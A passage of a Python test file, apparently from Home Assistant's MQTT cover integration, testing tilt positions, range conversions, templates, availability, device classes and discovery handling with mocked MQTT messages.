assert hass.states.get("cover.test").attributes["supported_features"] == 9 async def test_no_payload_open(hass, mqtt_mock): """Test with no open payload.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "qos": 0, "payload_open": None, "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() assert hass.states.get("cover.test").attributes["supported_features"] == 10 async def test_no_payload_stop(hass, mqtt_mock): """Test with no stop payload.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": None, } }, ) await hass.async_block_till_done() assert hass.states.get("cover.test").attributes["supported_features"] == 3 async def test_with_command_topic_and_tilt(hass, mqtt_mock): """Test with command topic and tilt config.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "command_topic": "test", "platform": "mqtt", "name": "test", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command", "tilt_status_topic": "tilt-status", } }, ) await hass.async_block_till_done() assert hass.states.get("cover.test").attributes["supported_features"] == 251 async def test_tilt_defaults(hass, mqtt_mock): """Test the defaults.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command", "tilt_status_topic": "tilt-status", } }, ) await hass.async_block_till_done() state_attributes_dict = hass.states.get("cover.test").attributes assert ATTR_CURRENT_TILT_POSITION in state_attributes_dict current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_position == STATE_UNKNOWN async def test_tilt_via_invocation_defaults(hass, mqtt_mock): """Test tilt defaults on close/open.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "100", 0, False ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with("tilt-command-topic", "0", 0, False) mqtt_mock.async_publish.reset_mock() # Close tilt status would be received from device when non-optimistic async_fire_mqtt_message(hass, "tilt-status-topic", "0") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "100", 0, False ) mqtt_mock.async_publish.reset_mock() # Open tilt status would be received from device when non-optimistic async_fire_mqtt_message(hass, "tilt-status-topic", "100") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 100 await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with("tilt-command-topic", "0", 0, False) async def test_tilt_given_value(hass, mqtt_mock): """Test tilting to a given value.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_opened_value": 80, "tilt_closed_value": 25, } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "80", 0, False ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "25", 0, False ) mqtt_mock.async_publish.reset_mock() # Close tilt status would be received from device when non-optimistic async_fire_mqtt_message(hass, "tilt-status-topic", "25") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 25 await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "80", 0, False ) mqtt_mock.async_publish.reset_mock() # Open tilt status would be received from device when non-optimistic async_fire_mqtt_message(hass, "tilt-status-topic", "80") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 80 await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "25", 0, False ) async def test_tilt_given_value_optimistic(hass, mqtt_mock): """Test tilting to a given value.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_opened_value": 80, "tilt_closed_value": 25, "tilt_optimistic": True, } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 80 mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "80", 0, False ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_TILT_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_TILT_POSITION: 50}, blocking=True, ) current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "50", 0, False ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 25 mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "25", 0, False ) async def test_tilt_given_value_altered_range(hass, mqtt_mock): """Test tilting to a given value.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_opened_value": 25, "tilt_closed_value": 0, "tilt_min": 0, "tilt_max": 50, "tilt_optimistic": True, } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "25", 0, False ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 mqtt_mock.async_publish.assert_called_once_with("tilt-command-topic", "0", 0, False) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "25", 0, False ) async def test_tilt_via_topic(hass, mqtt_mock): """Test tilt by updating status via MQTT.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "0") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 async_fire_mqtt_message(hass, "tilt-status-topic", "50") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 async def test_tilt_via_topic_template(hass, mqtt_mock): """Test tilt by updating status via MQTT and template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_status_template": "{{ (value | multiply(0.01)) | int }}", "tilt_opened_value": 400, "tilt_closed_value": 125, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "99") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 async_fire_mqtt_message(hass, "tilt-status-topic", "5000") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 async def test_tilt_via_topic_template_json_value(hass, mqtt_mock, caplog): """Test tilt by updating status via MQTT and template with JSON value.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_status_template": "{{ value_json.Var1 }}", "tilt_opened_value": 400, "tilt_closed_value": 125, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", '{"Var1": 9, "Var2": 30}') current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 9 async_fire_mqtt_message(hass, "tilt-status-topic", '{"Var1": 50, "Var2": 10}') current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 async_fire_mqtt_message(hass, "tilt-status-topic", '{"Var2": 10}') assert ( "Template variable warning: 'dict object' has no attribute 'Var1' when rendering" ) in caplog.text async def test_tilt_via_topic_altered_range(hass, mqtt_mock): """Test tilt status via MQTT with altered tilt range.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_min": 0, "tilt_max": 50, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "0") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 async_fire_mqtt_message(hass, "tilt-status-topic", "50") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 100 async_fire_mqtt_message(hass, "tilt-status-topic", "25") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 async def test_tilt_status_out_of_range_warning(hass, caplog, mqtt_mock): """Test tilt status via MQTT tilt out of range warning message.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_min": 0, "tilt_max": 50, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "60") assert ( "Payload '60' is out of range, must be between '0' and '50' inclusive" ) in caplog.text async def test_tilt_status_not_numeric_warning(hass, caplog, mqtt_mock): """Test tilt status via MQTT tilt not numeric warning message.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_min": 0, "tilt_max": 50, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "abc") assert ("Payload 'abc' is not numeric") in caplog.text async def test_tilt_via_topic_altered_range_inverted(hass, mqtt_mock): """Test tilt status via MQTT with altered tilt range and inverted tilt position.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_min": 50, "tilt_max": 0, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "0") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 100 async_fire_mqtt_message(hass, "tilt-status-topic", "50") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 async_fire_mqtt_message(hass, "tilt-status-topic", "25") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 async def test_tilt_via_topic_template_altered_range(hass, mqtt_mock): """Test tilt status via MQTT and template with altered tilt range.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_status_template": "{{ (value | multiply(0.01)) | int }}", "tilt_opened_value": 400, "tilt_closed_value": 125, "tilt_min": 0, "tilt_max": 50, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "tilt-status-topic", "99") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 0 async_fire_mqtt_message(hass, "tilt-status-topic", "5000") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 100 async_fire_mqtt_message(hass, "tilt-status-topic", "2500") current_cover_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_tilt_position == 50 async def test_tilt_position(hass, mqtt_mock): """Test tilt via method invocation.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_TILT_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_TILT_POSITION: 50}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "50", 0, False ) async def test_tilt_position_templated(hass, mqtt_mock): """Test tilt position via template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_command_template": "{{100-32}}", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_TILT_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_TILT_POSITION: 100}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "68", 0, False ) async def test_tilt_position_altered_range(hass, mqtt_mock): """Test tilt via method invocation with altered range.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "tilt_opened_value": 400, "tilt_closed_value": 125, "tilt_min": 0, "tilt_max": 50, } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_TILT_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_TILT_POSITION: 50}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "25", 0, False ) async def test_find_percentage_in_range_defaults(hass, mqtt_mock): """Test find percentage in range with default range.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 100, "position_closed": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 100, "tilt_closed_position": 0, "tilt_min": 0, "tilt_max": 100, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_percentage_in_range(44) == 44 assert mqtt_cover.find_percentage_in_range(44, "cover") == 44 async def test_find_percentage_in_range_altered(hass, mqtt_mock): """Test find percentage in range with altered range.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 180, "position_closed": 80, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 180, "tilt_closed_position": 80, "tilt_min": 80, "tilt_max": 180, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_percentage_in_range(120) == 40 assert mqtt_cover.find_percentage_in_range(120, "cover") == 40 async def test_find_percentage_in_range_defaults_inverted(hass, mqtt_mock): """Test find percentage in range with default range but inverted.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 0, "position_closed": 100, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 100, "tilt_closed_position": 0, "tilt_min": 100, "tilt_max": 0, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_percentage_in_range(44) == 56 assert mqtt_cover.find_percentage_in_range(44, "cover") == 56 async def test_find_percentage_in_range_altered_inverted(hass, mqtt_mock): """Test find percentage in range with altered range and inverted.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 80, "position_closed": 180, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 180, "tilt_closed_position": 80, "tilt_min": 180, "tilt_max": 80, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_percentage_in_range(120) == 60 assert mqtt_cover.find_percentage_in_range(120, "cover") == 60 async def test_find_in_range_defaults(hass, mqtt_mock): """Test find in range with default range.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 100, "position_closed": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 100, "tilt_closed_position": 0, "tilt_min": 0, "tilt_max": 100, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_in_range_from_percent(44) == 44 assert mqtt_cover.find_in_range_from_percent(44, "cover") == 44 async def test_find_in_range_altered(hass, mqtt_mock): """Test find in range with altered range.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 180, "position_closed": 80, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 180, "tilt_closed_position": 80, "tilt_min": 80, "tilt_max": 180, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_in_range_from_percent(40) == 120 assert mqtt_cover.find_in_range_from_percent(40, "cover") == 120 async def test_find_in_range_defaults_inverted(hass, mqtt_mock): """Test find in range with default range but inverted.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 0, "position_closed": 100, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 100, "tilt_closed_position": 0, "tilt_min": 100, "tilt_max": 0, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_in_range_from_percent(56) == 44 assert mqtt_cover.find_in_range_from_percent(56, "cover") == 44 async def test_find_in_range_altered_inverted(hass, mqtt_mock): """Test find in range with altered range and inverted.""" mqtt_cover = MqttCover( hass, { "name": "cover.test", "state_topic": "state-topic", "get_position_topic": None, "command_topic": "command-topic", "availability_topic": None, "tilt_command_topic": "tilt-command-topic", "tilt_status_topic": "tilt-status-topic", "qos": 0, "retain": False, "state_open": "OPEN", "state_closed": "CLOSE", "position_open": 80, "position_closed": 180, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "payload_available": None, "payload_not_available": None, "optimistic": False, "value_template": None, "tilt_open_position": 180, "tilt_closed_position": 80, "tilt_min": 180, "tilt_max": 80, "tilt_optimistic": False, "set_position_topic": None, "set_position_template": None, "unique_id": None, "device_config": None, }, None, None, ) assert mqtt_cover.find_in_range_from_percent(60) == 120 assert mqtt_cover.find_in_range_from_percent(60, "cover") == 120 async def test_availability_when_connection_lost(hass, mqtt_mock): """Test availability after MQTT disconnection.""" await help_test_availability_when_connection_lost( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_availability_without_topic(hass, mqtt_mock): """Test availability without defined availability topic.""" await help_test_availability_without_topic( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_default_availability_payload(hass, mqtt_mock): """Test availability by default payload with defined topic.""" await help_test_default_availability_payload( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_custom_availability_payload(hass, mqtt_mock): """Test availability by custom payload with defined topic.""" await help_test_custom_availability_payload( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_valid_device_class(hass, mqtt_mock): """Test the setting of a valid device class.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "device_class": "garage", "state_topic": "test-topic", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.attributes.get("device_class") == "garage" async def test_invalid_device_class(hass, mqtt_mock): """Test the setting of an invalid device class.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "device_class": "abc123", "state_topic": "test-topic", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state is None async def test_setting_attribute_via_mqtt_json_message(hass, mqtt_mock): """Test the setting of attribute via MQTT with JSON payload.""" await help_test_setting_attribute_via_mqtt_json_message( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_setting_blocked_attribute_via_mqtt_json_message(hass, mqtt_mock): """Test the setting of attribute via MQTT with JSON payload.""" await help_test_setting_blocked_attribute_via_mqtt_json_message( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG, MQTT_COVER_ATTRIBUTES_BLOCKED ) async def test_setting_attribute_with_template(hass, mqtt_mock): """Test the setting of attribute via MQTT with JSON payload.""" await help_test_setting_attribute_with_template( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_update_with_json_attrs_not_dict(hass, mqtt_mock, caplog): """Test attributes get extracted from a JSON result.""" await help_test_update_with_json_attrs_not_dict( hass, mqtt_mock, caplog, cover.DOMAIN, DEFAULT_CONFIG ) async def test_update_with_json_attrs_bad_json(hass, mqtt_mock, caplog): """Test attributes get extracted from a JSON result.""" await help_test_update_with_json_attrs_bad_JSON( hass, mqtt_mock, caplog, cover.DOMAIN, DEFAULT_CONFIG ) async def test_discovery_update_attr(hass, mqtt_mock, caplog): """Test update of discovered MQTTAttributes.""" await help_test_discovery_update_attr( hass, mqtt_mock, caplog, cover.DOMAIN, DEFAULT_CONFIG ) async def test_unique_id(hass, mqtt_mock): """Test unique_id option only creates one cover per id.""" config = { cover.DOMAIN: [ { "platform": "mqtt", "name": "Test 1", "state_topic": "test-topic", "unique_id": "TOTALLY_UNIQUE", }, { "platform": "mqtt", "name": "Test 2", "state_topic": "test-topic", "unique_id": "TOTALLY_UNIQUE", }, ] } await help_test_unique_id(hass, mqtt_mock, cover.DOMAIN, config) async def test_discovery_removal_cover(hass, mqtt_mock, caplog): """Test removal of discovered cover.""" data = '{ "name": "test", "command_topic": "test_topic" }' await help_test_discovery_removal(hass, mqtt_mock, caplog, cover.DOMAIN, data) async def test_discovery_update_cover(hass, mqtt_mock, caplog): """Test update of discovered cover.""" config1 = {"name": "Beer", "command_topic": "test_topic"} config2 = {"name": "Milk", "command_topic": "test_topic"} await help_test_discovery_update( hass, mqtt_mock, caplog, cover.DOMAIN, config1, config2 ) async def test_discovery_update_unchanged_cover(hass, mqtt_mock, caplog): """Test update of discovered cover.""" data1 = '{ "name": "Beer", "command_topic": "test_topic" }' with patch( "homeassistant.components.mqtt.cover.MqttCover.discovery_update" ) as discovery_update: await help_test_discovery_update_unchanged( hass, mqtt_mock, caplog, cover.DOMAIN, data1, discovery_update ) @pytest.mark.no_fail_on_log_exception async def test_discovery_broken(hass, mqtt_mock, caplog): """Test handling of bad discovery message.""" data1 = '{ "name": "Beer", "command_topic": "test_topic#" }' data2 = '{ "name": "Milk", "command_topic": "test_topic" }' await help_test_discovery_broken( hass, mqtt_mock, caplog, cover.DOMAIN, data1, data2 ) async def test_entity_device_info_with_connection(hass, 